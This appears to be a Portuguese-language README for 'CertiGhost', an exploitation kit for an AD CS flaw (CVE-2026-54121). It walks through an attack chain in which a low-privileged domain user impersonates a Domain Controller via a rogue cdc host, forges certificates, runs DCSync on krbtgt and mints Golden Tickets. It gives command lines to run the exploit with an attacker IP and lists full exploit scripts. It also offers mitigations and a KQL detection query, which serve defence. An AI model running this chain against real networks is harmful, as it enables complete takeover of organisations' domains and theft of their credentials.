
Kit de exploração para AD CS CVE-2026-54121: usuários do domínio com baixos privilégios se passam por um Controlador de Domínio, forjam certificados e comprometem o domínio via DCSync/Golden Ticket.
O CertiGhost é uma vulnerabilidade crítica (CVSS 8.8) nos Serviços de Certificados do Active Directory (AD CS) que permite que um usuário de domínio com privilégios baixos se faça passar por um Controlador de Domínio e obtenha o comprometimento total do domínio.
O mecanismo de fallback "chase" do AD CS permite que um solicitante forneça os atributos cdc (DC do Cliente) e rmd (Domínio Remoto) em uma solicitação de certificado. A CA segue o destino cdc para resolver dados de identidade sem validar que se trata de um Controlador de Domínio legítimo.
Cadeia de Ataque:
ms-DS-MachineAccountQuota)cdc apontando para o host do atacantekrbtgt → Golden Ticket → comprometimento total do domínio| Documento | Conteúdo |
|---|---|
| USAGE.md | Guia de uso detalhado com instruções passo a passo |
| DIAGRAM.md | Diagramas de estrutura e visualização do fluxo de ataque |
Stage 1 Stage 2 Stage 3 Stage 4 Stage 5 Stage 6
LDAP Disc. → Machine Acct → Rogue Svc → Cert Request → PKINIT Auth → DCSync
│ │ │ │ │ │
▼ ▼ ▼ ▼ ▼ ▼
Find DC/CA SAMR create LDAP :389 cdc+rmd attr TGT as DC01$ krbtgt hash
+ SID/DN DESKTOP-XX$ SMB :445 → CA chases → KDC accepts → Golden
+ SPNs relay attacker host cert as DC Ticket
Consulte DIAGRAM.md para diagramas de arquitetura completos.
pip install -r requirements.txt
# Unauthenticated scan
python ad_detect.py
# Authenticated scan (recommended)
python ad_detect.py -u DOMAIN\\username -p 'Password123'
# With specific DC
python ad_detect.py -u DOMAIN\\user -p 'pass' --dc-ip 10.x.x.x
python certighost_test.py -d example.com --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' --detect
python certighost_test.py -d example.com -u lowpriv_user -p 'Password123' \
--dc-ip 10.0.0.10 --attacker-ip 10.0.0.99 --exploit
ms-DS-MachineAccountQuotaEDITF_ENABLECHASECLIENTDCms-DS-MachineAccountQuota > 0 (padrão: 10)# Apply July 2026 Security Update on all CA servers
# Temporary mitigation - disable chase fallback
certutil -setreg policy\EditFlags -EDITF_ENABLECHASECLIENTDC
Restart-Service CertSvc -Force
ms-DS-MachineAccountQuota como 0ENROLLEE_SUPPLIES_SUBJECT dos modeloscdc/rmdDe acordo com o blog do Microsoft Threat Protection, implante a seguinte consulta de busca avançada:
// Detect CertiGhost certificate requests with cdc/rmd attributes
let CertSvcEvents = DeviceEvents
| where ActionType == "CertSvcRequestSubmitted"
| extend RequestAttributes = parse_json(AdditionalFields).RequestAttributes
| where RequestAttributes has "cdc" or RequestAttributes has "rmd";
CertSvcEvents
| project Timestamp, DeviceName, InitiatingProcessAccountName, RequestAttributes
| Arquivo | Finalidade |
|---|
certighost_exploit.py | Implementação completa da cadeia de exploração |
certighost_test.py | Kit de detecção + exploração com CLI |
ad_detect.py | Varredura rápida e direcionada de detecção |
test_exploit.py | Testes unitários para todos os componentes de exploração (55 testes) |
requirements.txt | Dependências Python |